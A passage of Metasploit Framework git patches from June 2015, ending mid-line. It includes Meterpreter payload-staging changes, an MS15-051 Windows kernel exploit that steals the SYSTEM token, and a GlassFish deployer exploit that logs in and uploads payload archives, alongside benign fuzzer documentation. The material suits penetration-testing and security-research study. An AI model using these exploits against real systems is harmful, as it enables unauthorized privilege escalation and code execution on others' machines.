'msf/core' require 'msf/core/payload/dalvik' require 'msf/base/sessions/meterpreter_android' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' +module Metasploit4 -module Metasploit3 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -44,6 +45,25 @@ module Metasploit3 # Name of the class to load from the stage, the actual jar to load # it from, and then finally the meterpreter stage - java_string(clazz) + java_string(metstage) + java_string(met) + java_string(clazz) + java_string(metstage) + java_string(met) + java_string(generate_config(opts)) + end + + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block, which for staged connections is really simple. + config_opts = { + ascii_str: true, + arch: opts[:uuid].arch, + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config(opts)] + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the XML version of it + config.to_b end end From a8c20496beaf45b280f9daa6c856718ff175fd38 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 24 Jun 2015 22:37:40 +1000 Subject: [PATCH 0538/1013] Remove unused code from the java http stager --- lib/msf/core/handler/reverse_http.rb | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f2e0073f6a..9102039e86 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -313,21 +313,11 @@ protected print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...") url = payload_uri(req) + conn_id + "/\x00" - blob = "" - blob << obj.generate_stage( + blob = obj.generate_stage( uuid: uuid, uri: conn_id ) - # This is a TLV packet - I guess somewhere there should be an API for building them - # in Metasploit :-) - packet = "" - packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00" - packet << [url.length+8, 0x1000a].pack('NN')+url - packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN') - packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN') - blob << [packet.length+8, 0].pack('NN') + packet - resp.body = blob # Short-circuit the payload's handle_connection processing for create_session From f07b7af2c9520bc89226ba39e8857fa7812b6f5a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 24 Jun 2015 09:18:59 -0400 Subject: [PATCH 0539/1013] Support older targets x86 for MS15-051 --- .../cve-2015-1701/cve-2015-1701.c | 136 ++++++++++-------- .../local/ms15_051_client_copy_image.rb | 19 ++- 2 files changed, 87 insertions(+), 68 deletions(-) diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c index 9f25a2fe08..c1d7815f83 100755 --- a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c @@ -35,7 +35,14 @@ #define HMUNIQSHIFT 16 typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p); -typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process); +typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)( + IN HANDLE ProcessId, + OUT PVOID Process +); + +typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)( + _Inout_ PVOID Process +); typedef PVOID PHEAD; @@ -65,19 +72,13 @@ typedef struct _SHAREDINFO { static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow"); -pPLPBPI g_PsLookupProcessByProcessIdPtr = NULL; +lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL; +lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL; pUser32_ClientCopyImage g_originalCCI = NULL; PVOID g_ppCCI = NULL, g_w32theadinfo = NULL; int g_shellCalled = 0; DWORD g_OurPID; - -typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)( - _Inout_ PVOID Process -); - -lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL; - typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation ); NTSTATUS NTAPI RtlGetVersion( @@ -230,17 +231,7 @@ BOOLEAN supIsProcess32bit( return FALSE; } -/* -* GetPsLookupProcessByProcessId -* -* Purpose: -* -* Return address of PsLookupProcessByProcessId routine to be used next by shellcode. -* -*/ -ULONG_PTR GetPsLookupProcessByProcessId( - VOID - ) +BOOL GetShellCodeFunctions(VOID) { BOOL cond = FALSE; ULONG rl = 0; @@ -248,7 +239,7 @@ ULONG_PTR GetPsLookupProcessByProcessId( ULONG_PTR KernelBase = 0L, FuncAddress = 0L; PRTL_PROCESS_MODULES miSpace = NULL; CHAR KernelFullPathName[MAX_PATH * 2]; - + BOOL bSuccess = FALSE; do { @@ -278,12 +269,12 @@ ULONG_PTR GetPsLookupProcessByProcessId( break; } - pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(MappedKernel, "PsReferencePrimaryToken"); - pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)KernelBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)MappedKernel)); - FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId"); - FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel; + g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel); + FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken"); + g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel); + bSuccess = TRUE; } while (cond); if (MappedKernel != NULL) { @@ -293,7 +284,39 @@ ULONG_PTR GetPsLookupProcessByProcessId( HeapFree(GetProcessHeap(), 0, miSpace); } - return FuncAddress; + return bSuccess; +} + +PSHAREDINFO GetSharedInfo(VOID) { + HMODULE huser32; + PSHAREDINFO pSharedInfo = NULL; + DWORD dwCursor = 0; + + huser32 = GetModuleHandle(TEXT("user32.dll")); + if (huser32 == NULL) + return pSharedInfo; + + pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo")); + +#ifndef _M_X64 + PVOID pUser32InitializeImmEntryTable; + + /* user32!gSharedInfo resoultion for x86 systems < Windows 7 */ + if (pSharedInfo != NULL) + return pSharedInfo; + + pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable")); + + for (dwCursor = 0; dwCursor < 0x80; dwCursor++) { + if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 ) + continue; + if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68) + continue; + return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2)); + } +#endif + + return pSharedInfo; } /* @@ -304,28 +327,22 @@ ULONG_PTR GetPsLookupProcessByProcessId( * Locate, convert and return hwnd for current thread from SHAREDINFO->aheList. * */ -HWND GetFirstThreadHWND( - VOID - ) +HWND GetFirstThreadHWND(VOID) { PSHAREDINFO pse; - HMODULE huser32; PHANDLEENTRY List; ULONG_PTR c, k; - huser32 = GetModuleHandle(TEXT("user32.dll")); - if (huser32 == NULL) - return 0; - - pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo"); - if (pse == NULL) + pse = GetSharedInfo(); + if (pse == NULL) { return 0; + } List = pse->aheList; k = pse->psi->cHandleEntries; - if (pse->HeEntrySize != sizeof(HANDLEENTRY)) - return 0; + //if (pse->HeEntrySize != sizeof(HANDLEENTRY)) + //return 0; // // Locate, convert and return hwnd for current thread. @@ -334,12 +351,11 @@ HWND GetFirstThreadHWND( if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) { return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT)); } - return 0; } // Search the specified data structure for a member with CurrentValue. -BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize) +BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize) { DWORD_PTR dwIndex, dwMask; @@ -376,29 +392,25 @@ BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, * Copy system token to current process object. * */ -NTSTATUS NTAPI StealProcessToken( - VOID - ) +NTSTATUS NTAPI StealProcessToken(VOID) { - NTSTATUS Status; - PVOID CurrentProcess = NULL; - PVOID SystemProcess = NULL; + void *pMyProcessInfo = NULL; + void *pSystemInfo = NULL; + PACCESS_TOKEN systemToken; + PACCESS_TOKEN targetToken; - Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess); - if (NT_SUCCESS(Status)) { - Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess); - if (NT_SUCCESS(Status)) { - PACCESS_TOKEN targetToken = pPsReferencePrimaryToken(CurrentProcess); - PACCESS_TOKEN systemToken = pPsReferencePrimaryToken(SystemProcess); + g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo); + g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo); - // Find the token in the target process, and replace with the system token. - find_and_replace_member((PDWORD_PTR)CurrentProcess, - (DWORD_PTR)targetToken, - (DWORD_PTR)systemToken, - 0x200); - } - } - return Status; + targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo); + systemToken = g_pPsReferencePrimaryToken(pSystemInfo); + + // Find the token in the target process, and replace with the system token. + FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo, + (DWORD_PTR)targetToken, + (DWORD_PTR)systemToken, + 0x200); + return 0; } @@ -476,9 +488,9 @@ void win32k_client_copy_image(LPVOID lpPayload) } g_OurPID = GetCurrentProcessId(); - g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId(); + GetShellCodeFunctions(); - if (g_PsLookupProcessByProcessIdPtr == NULL) { + if (g_pPsLookupProcessByProcessId == NULL) { return; } diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index 12b4a247d8..3ec8721cdb 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -26,9 +26,10 @@ class Metasploit3 < Msf::Exploit::Local }, 'License' => MSF_LICENSE, 'Author' => [ - 'Unknown', # vulnerability discovery and exploit in the wild - 'hfirefox', # Code released on github - 'OJ Reeves' # msf module + 'Unknown', # vulnerability discovery and exploit in the wild + 'hfirefox', # Code released on github + 'OJ Reeves', # msf module + 'Spencer McIntyre' # msf module ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'win', @@ -57,10 +58,15 @@ class Metasploit3 < Msf::Exploit::Local end def check + # Windows XP SP3 (32-bit) 5.1.2600.6514 (Works) + # Windows Server 2003 Standard SP2 (32-bit) 5.2.3790.5445 (Works) # Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work) - # Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works) + # Windows 7 SP1 (64-bit) 6.1.7601.17514 (Works) + # Windows 7 SP1 (64-bit) 6.1.7601.17535 (Works) # Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works) + # Windows 7 SP1 (32-bit) 6.1.7601.18388 (Works) # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works) + # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works) if sysinfo['OS'] !~ /windows/i return Exploit::CheckCode::Unknown @@ -76,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") - return Exploit::CheckCode::Safe if build == 7601 + return Exploit::CheckCode::Safe if build > 7601 return Exploit::CheckCode::Detected end @@ -86,7 +92,8 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::None, 'Session is already elevated') end - if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown + check_result = check + if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end From e0c52730a041cf60c749c3ba32164e8933aaa28f Mon Sep 17 00:00:00 2001 From: Mo Sadek Date: Wed, 24 Jun 2015 13:38:11 -0500 Subject: [PATCH 0540/1013] YARD Documentation for Fuzzer.rb --- lib/msf/core/auxiliary/fuzzer.rb | 118 ++++++++++++++++++++++++++++--- 1 file changed, 107 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/auxiliary/fuzzer.rb b/lib/msf/core/auxiliary/fuzzer.rb index 5f15235c2a..1185852772 100644 --- a/lib/msf/core/auxiliary/fuzzer.rb +++ b/lib/msf/core/auxiliary/fuzzer.rb @@ -8,9 +8,7 @@ module Msf ### module Auxiliary::Fuzzer - # - # Creates an instance of a fuzzer module - # + def initialize(info = {}) super register_advanced_options([ @@ -20,9 +18,12 @@ module Auxiliary::Fuzzer end + # Will return or yield numbers based on the presence of a block. # - # Self-reflective iterators - # + # @return [Array] Returns an array of arrays of numbers if there is no block given + # @yield [Array] Yields an array of numbers if there is a block given + # @see #fuzzer_number_power2 + def fuzz_numbers res = [] self.methods.sort.grep(/^fuzzer_number/).each do |m| @@ -32,6 +33,12 @@ module Auxiliary::Fuzzer res end + + # Will return or yield a string based on the presense of a block + # + # @return [Array] Returns and array of arrays of strings if there is no block given + # @yield [Array] Yields array of strings if there is a block given + def fuzz_strings res = [] self.methods.sort.grep(/^fuzzer_string/).each do |m| @@ -41,11 +48,11 @@ module Auxiliary::Fuzzer res end - # - # General input mangling routines - # + # Modifies each byte of the string from beginning to end, packing each element as an 8 bit character. + # + # @returns [Array] Returns an array of an array of strings + # @see #fuzzer_string_format - # Modify each byte of the string moving forward def fuzz_string_corrupt_byte(str,max=nil) res = [] 0.upto(max ? [max,str.length-1].min : (str.length - 1)) do |offset| @@ -59,7 +66,12 @@ module Auxiliary::Fuzzer res end - # Modify each byte of the string moving backward + # Modifies each byte of the string from beginning to end, packing each element as an 8 bit character. + # + # + # @returns [Array] Returns an array of an array of strings + # @see fuzzer_string_format + def fuzz_string_corrupt_byte_reverse(str,max=nil) res = [] (max ? [max,str.length-1].min : (str.length - 1)).downto(0) do |offset| @@ -73,20 +85,29 @@ module Auxiliary::Fuzzer res end - # # Useful generators (many derived from AxMan) # + # @returns [Array] Returns and array of strings. def fuzzer_string_format res = %W{ %s %p %n %x %@ %.257d %.65537d %.2147483648d %.257f %.65537f %.2147483648f} block_given? ? res.each { |n| yield(n) } : res end + # Reserved filename array + # Useful generators (many derived from AxMan) + # + # @returns [Array] Returns and array of reserved filenames in Windows. + def fuzzer_string_filepath_dos res = %W{ aux con nul com1 com2 com3 com4 lpt1 lpt2 lp3 lpt4 prn } block_given? ? res.each { |n| yield(n) } : res end + # Fuzzer Numbers by Powers of Two + # + # @returns [Array] Returns an array with pre-set values + def fuzzer_number_power2 res = [ 0x100000000, @@ -105,6 +126,10 @@ module Auxiliary::Fuzzer block_given? ? res.each { |n| yield(n) } : res end + # Powers of two by some fuzzing factor. + # + # @returns [Array] Returns and array of integers. + def fuzzer_number_power2_plus res = [] fuzzer_number_power2 do |num| @@ -119,6 +144,11 @@ module Auxiliary::Fuzzer block_given? ? res.each { |n| yield(n) } : res end + # Generates a fuzz string + # If no block set, will retrive characters from the FuzzChar datastore option + # + # @return [String] Returns a string of size 1024 * 512 specified by the user + def fuzzer_gen_string(len) @gen_string_block ||= datastore['FuzzChar'][0,1] * (1024 * 512) res = '' @@ -128,6 +158,9 @@ module Auxiliary::Fuzzer res[0,len] end + # Creates a smaller fuzz string starting from length 16 -> 512 bytes long + # + # @return [Array] Returns an array of characters def fuzzer_string_small res = [] 16.step(512,16) do |len| @@ -137,6 +170,9 @@ module Auxiliary::Fuzzer res end + # Creates a longer fuzz string from length 64 -> 8192 bytes long + # + # @return [Array] Returns an array of characters def fuzzer_string_long res = [] 64.step(8192,64) do |len| @@ -147,6 +183,9 @@ module Auxiliary::Fuzzer res end + # Creates a giant fuzz string from length 512 -> 131,064 bytes long + # + # @return [Array] Returns an array of characters def fuzzer_string_giant res = [] 512.step(65532 * 2, 512) do |len| @@ -157,6 +196,9 @@ module Auxiliary::Fuzzer res end + # Various URI types + # + # @returns [Array] Returns an array of strings def fuzzer_string_uri_types res = %W{ aaa aaas about acap adiumxtra afp aim apt aw bolo callto cap chrome cid @@ -174,16 +216,28 @@ module Auxiliary::Fuzzer block_given? ? res.each { |n| yield(n) } : res end +# Generator for common URI dividers +# +# @return [Array] Returns an array of strings + def fuzzer_string_uri_dividers res = %W{ : :// } block_given? ? res.each { |n| yield(n) } : res end +# Generator for common path prefixes +# +# @return [Array] Returns an array of strings + def fuzzer_string_path_prefixes res = %W{ C:\\ \\\\localhost\\ / } block_given? ? res.each { |n| yield(n) } : res end +# Generates various small URI string types +# +# @return [Array] Returns an array of stings + def fuzzer_string_uris_small res = [] fuzzer_string_uri_types do |proto| @@ -197,6 +251,10 @@ module Auxiliary::Fuzzer res end +# Generates various long URI string types +# +# @return [Array] Returns an array of stings + def fuzzer_string_uris_long res = [] fuzzer_string_uri_types do |proto| @@ -210,6 +268,10 @@ module Auxiliary::Fuzzer res end +# Generates various giant URI string types +# +# @return [Array] Returns an array of stings + def fuzzer_string_uris_giant res = [] fuzzer_string_uri_types do |proto| @@ -223,6 +285,10 @@ module Auxiliary::Fuzzer res end +# Format for the URI string generator +# +# @return [Array] Returns an array of stings + def fuzzer_string_uris_format res = [] fuzzer_string_uri_types do |proto| @@ -236,6 +302,11 @@ module Auxiliary::Fuzzer res end + +# Generates various small strings +# +# @return [Array] Returns an array of stings + def fuzzer_string_uris_dos res = [] fuzzer_string_uri_types do |proto| @@ -249,6 +320,11 @@ module Auxiliary::Fuzzer res end + +# Generates various small strings +# +# @return [Array] Returns an array of stings + def fuzzer_string_paths_small res = [] fuzzer_string_path_prefixes do |pre| @@ -260,6 +336,11 @@ module Auxiliary::Fuzzer res end + +# Generates various small strings +# +# @return [Array] Returns an array of stings + def fuzzer_string_paths_long res = [] fuzzer_string_path_prefixes do |pre| @@ -271,6 +352,11 @@ module Auxiliary::Fuzzer res end + +# Generates various giant strings +# +# @return [Array] Returns an array of stings + def fuzzer_string_paths_giant res = [] fuzzer_string_path_prefixes do |pre| @@ -282,6 +368,11 @@ module Auxiliary::Fuzzer res end + +# Format for the path generator +# +# @return [Array] Returns an array of stings + def fuzzer_string_paths_format res = [] fuzzer_string_path_prefixes do |pre| @@ -293,6 +384,11 @@ module Auxiliary::Fuzzer res end + +# Generates fuzzer strings using path prefixes +# +# @return [Array] Returns an array of stings + def fuzzer_string_paths_dos res = [] fuzzer_string_path_prefixes do |pre| From aa9ea13934ef1859d82c6ffbf93c85f34623fae1 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 24 Jun 2015 11:44:54 -0700 Subject: [PATCH 0541/1013] Fix up the core_machine_id call to handle weirdness better --- lib/rex/post/meterpreter/client_core.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 9ff18cfba7..48333cdde8 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -321,8 +321,7 @@ class ClientCore < Extension # Normalise the format of the incoming machine id so that it's consistent # regardless of case and leading/trailing spaces. This means that the # individual meterpreters don't have to care - mid.downcase!.strip! if mid - return Rex::Text.md5(mid) + Rex::Text.md5(mid.to_s.downcase.strip) end def transport_remove(opts={}) From 380af29482573ecbcbdc8464103234c0c8712102 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 24 Jun 2015 14:17:45 -0500 Subject: [PATCH 0542/1013] Progress? --- .../exploits/multi/http/glassfish_deployer.rb | 427 +++++++----------- 1 file changed, 157 insertions(+), 270 deletions(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 61fa5a56fb..7fd2600524 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -4,6 +4,8 @@ ## require 'msf/core' +require 'metasploit/framework/login_scanner/glassfish' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -23,11 +25,11 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - #Msf module for Glassfish 3.0 + # Msf module for Glassfish 3.0 'juan vazquez', - #Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1 + # Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1 'Joshua Abraham ', - #Rewrite for 3.0, 3.1 (Commercial or Open Source) + # Rewrite for 3.0, 3.1 (Commercial or Open Source) 'sinn3r', ], 'References' => @@ -39,33 +41,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', { } ], - [ - 'Java Universal', - { - 'Arch' => ARCH_JAVA, - 'Platform' => 'java', - }, - ], - # - # platform specific targets only - # - [ - 'Windows Universal', - { - 'Arch' => ARCH_X86, - 'Platform' => 'win', - }, - ], - # - # platform specific targets only - # - [ - 'Linux Universal', - { - 'Arch' => ARCH_X86, - 'Platform' => 'linux', - }, - ], + [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], + [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], + [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ], 'DisclosureDate' => "Aug 4 2011", 'DefaultTarget' => 0)) @@ -83,20 +61,23 @@ class Metasploit3 < Msf::Exploit::Remote # # Send GET or POST request, and return the response # - def send_request(path, method, session='', data=nil, ctype=nil) - + def send_glassfish_request(path, method, session='', data=nil, ctype=nil) headers = {} - headers['Cookie'] = "JSESSIONID=#{session}" if session != '' - headers['Content-Type'] = ctype if ctype != nil + headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank? + headers['Content-Type'] = ctype if ctype res = send_request_raw({ 'uri' => path, 'method' => method, 'data' => data, 'headers' => headers, - }, 90) + }) - return res + unless res + fail_with(Failure::Unknown, 'Connection timed out') + end + + res end # @@ -106,22 +87,22 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Attempting to automatically select a target...") res = query_serverinfo(session,version) - return nil if not res - return nil if not res.body + return nil unless res + return nil unless res.body plat = detect_platform(res.body) arch = detect_arch(res.body) # No arch or platform found? - return nil if (not arch or not plat) + return nil if !arch || !plat # see if we have a match targets.each do |t| - return t if (t['Platform'] == plat) and (t['Arch'] == arch) + return t if (t['Platform'] == plat) && (t['Arch'] == arch) end # no matching target found - return nil + nil end # @@ -172,36 +153,36 @@ class Metasploit3 < Msf::Exploit::Remote def query_serverinfo(session,version) res = '' - if version == '2.x' or version == '9.x' + if version == '2.x' || version == '9.x' path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report" - res = send_request(path, @verbs['GET'], session) + res = send_glassfish_request(path, @verbs['GET'], session) else path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report" - res = send_request(path, @verbs['GET'], session) + res = send_glassfish_request(path, @verbs['GET'], session) - if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/)) + if !res || res.code != 200 || res.body.to_s !~ /Operating System Information/ path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server" - res = send_request(path, @verbs['GET'], session) + res = send_glassfish_request(path, @verbs['GET'], session) end end - if (not res) or (res.code != 200) + if !res || res.code != 200 print_error("Failed: Error requesting #{path}") return nil end - return res + res end # # Return viewstate and entry before deleting a GlassFish application # def get_delete_info(session, version, app='') - if version == '2.x' or version == '9.x' + if version == '2.x' || version == '9.x' path = '/applications/webApplications.jsf' - res = send_request(path, @verbs['GET'], session) + res = send_glassfish_request(path, @verbs['GET'], session) - if (not res) or (res.code != 200) + if !res || res.code != 200 print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end @@ -223,9 +204,9 @@ class Metasploit3 < Msf::Exploit::Remote else path = '/common/applications/applications.jsf?bare=true' - res = send_request(path, @verbs['GET'], session) + res = send_glassfish_request(path, @verbs['GET'], session) - if (not res) or (res.code != 200) + if !res || res.code != 200 print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end @@ -246,10 +227,10 @@ class Metasploit3 < Msf::Exploit::Remote end end - if (viewstate.nil?) + if !viewstate print_error("Failed: Error getting ViewState") return nil - elsif (entry.nil?) + elsif !entry print_error("Failed: Error getting the entry to delete") end @@ -280,11 +261,11 @@ class Metasploit3 < Msf::Exploit::Remote path = '/common/applications/applications.jsf' ctype = 'application/x-www-form-urlencoded' - res = send_request(path, @verbs['POST'], session, data, ctype) - if (not res) + res = send_glassfish_request(path, @verbs['POST'], session, data, ctype) + if !res print_error("Undeployment failed on #{path} - No Response") else - if res.code < 200 or res.code >= 300 + if res.code < 200 || res.code >= 300 print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}") end end @@ -309,15 +290,15 @@ class Metasploit3 < Msf::Exploit::Remote #Set version. Some GlassFish servers return banner "GlassFish v3". if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/ version = $2 - elsif banner =~ /GlassFish v(\d)/ and version == 'Unknown' + elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown' version = $1 - elsif banner =~ /Sun GlassFish Enterprise Server v2/ and version == 'Unknown' + elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown' version = '2.x' - elsif banner =~ /Sun Java System Application Server 9/ and version == 'Unknown' + elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown' version = '9.x' end - if version == nil or version == 'Unknown' + if version == nil || version == 'Unknown' print_status("Unsupported version: #{banner}") end @@ -399,7 +380,7 @@ class Metasploit3 < Msf::Exploit::Remote format(boundary, "javax.faces.ViewState", viewstate), "#{boundary}--" ].join() - elsif version == '2.x' or version == '9.x' + elsif version == '2.x' || version == '9.x' uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_data = "form:title:sheet1:section1:prop1:fileupload" @@ -518,9 +499,9 @@ class Metasploit3 < Msf::Exploit::Remote edition = opts[:edition] version = opts[:version] - if version == '2.x' or version == '9.x' + if version == '2.x' || version == '9.x' path = "/applications/upload.jsf?appType=webApp" - res = send_request(path, @verbs['GET'], session) + res = send_glassfish_request(path, @verbs['GET'], session) #Obtain some properties begin @@ -535,7 +516,7 @@ class Metasploit3 < Msf::Exploit::Remote end else path = "/common/applications/uploadFrame.jsf" - res = send_request(path, @verbs['GET'], session) + res = send_glassfish_request(path, @verbs['GET'], session) #Obtain some properties begin @@ -558,10 +539,10 @@ class Metasploit3 < Msf::Exploit::Remote end end - #Get upload data + # Get upload data if version == '3.0' ctype = "multipart/form-data; boundary=#{boundary}" - elsif version == '2.x' or version == '9.x' + elsif version == '2.x' || version == '9.x' ctype = "multipart/form-data; boundary=---------------------------#{boundary}" typefield = '' start = '' @@ -580,18 +561,19 @@ class Metasploit3 < Msf::Exploit::Remote :viewstate => viewstate }) - #Upload our payload - if version == '2.x' or version == '9.x' + # Upload our payload + if version == '2.x' || version == '9.x' path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20' else path = '/common/applications/uploadFrame.jsf?' path << 'form:title:topButtons:uploadButton=Processing...' path << '&bare=false' end - res = send_request(path, @verbs['POST'], session, post_data, ctype) - #Print upload result - if res and res.code == 302 + res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype) + + # Print upload result + if res.code == 302 print_status("Successfully uploaded") else print_error("Error uploading #{res.code}") @@ -613,7 +595,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET', }) - if (req) + if req res = nclient.send_recv(req, 90) else print_status("Error: #{rhost} did not respond on #{app_rport}.") @@ -625,7 +607,7 @@ class Metasploit3 < Msf::Exploit::Remote #Start undeploying print_status("Getting information to undeploy...") viewstate, entry = get_delete_info(session, version, app_base) - if (not viewstate) + if !viewstate fail_with(Failure::Unknown, "Unable to get viewstate") elsif (not entry) fail_with(Failure::Unknown, "Unable to get entry") @@ -637,230 +619,135 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Undeployment complete.") end - # - # Try to login to Glassfish with a credential, and return the response - # - def try_login(user, pass) - data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&" - data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&" - data << "loginButton=Login" + def init_loginscanner(creds) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + userpass_file: creds * "\n" + ) - path = '/j_security_check' - res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded') - - return res + @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( + configure_http_login_scanner( + cred_details: @cred_collection, + connection_timeout: 5 + ) + ) end - def log_success(user = "", pass = "") - service_data = { - address: Rex::Socket.getaddress(rhost, true), - port: rport, - protocol: "tcp", - service_name: ssl ? "https" : "http", - workspace_id: myworkspace_id - } - - credential_data = { - origin_type: :service, - module_fullname: self.fullname, - username: user, - private_data: pass, - private_type: :password - } - - credential_core = 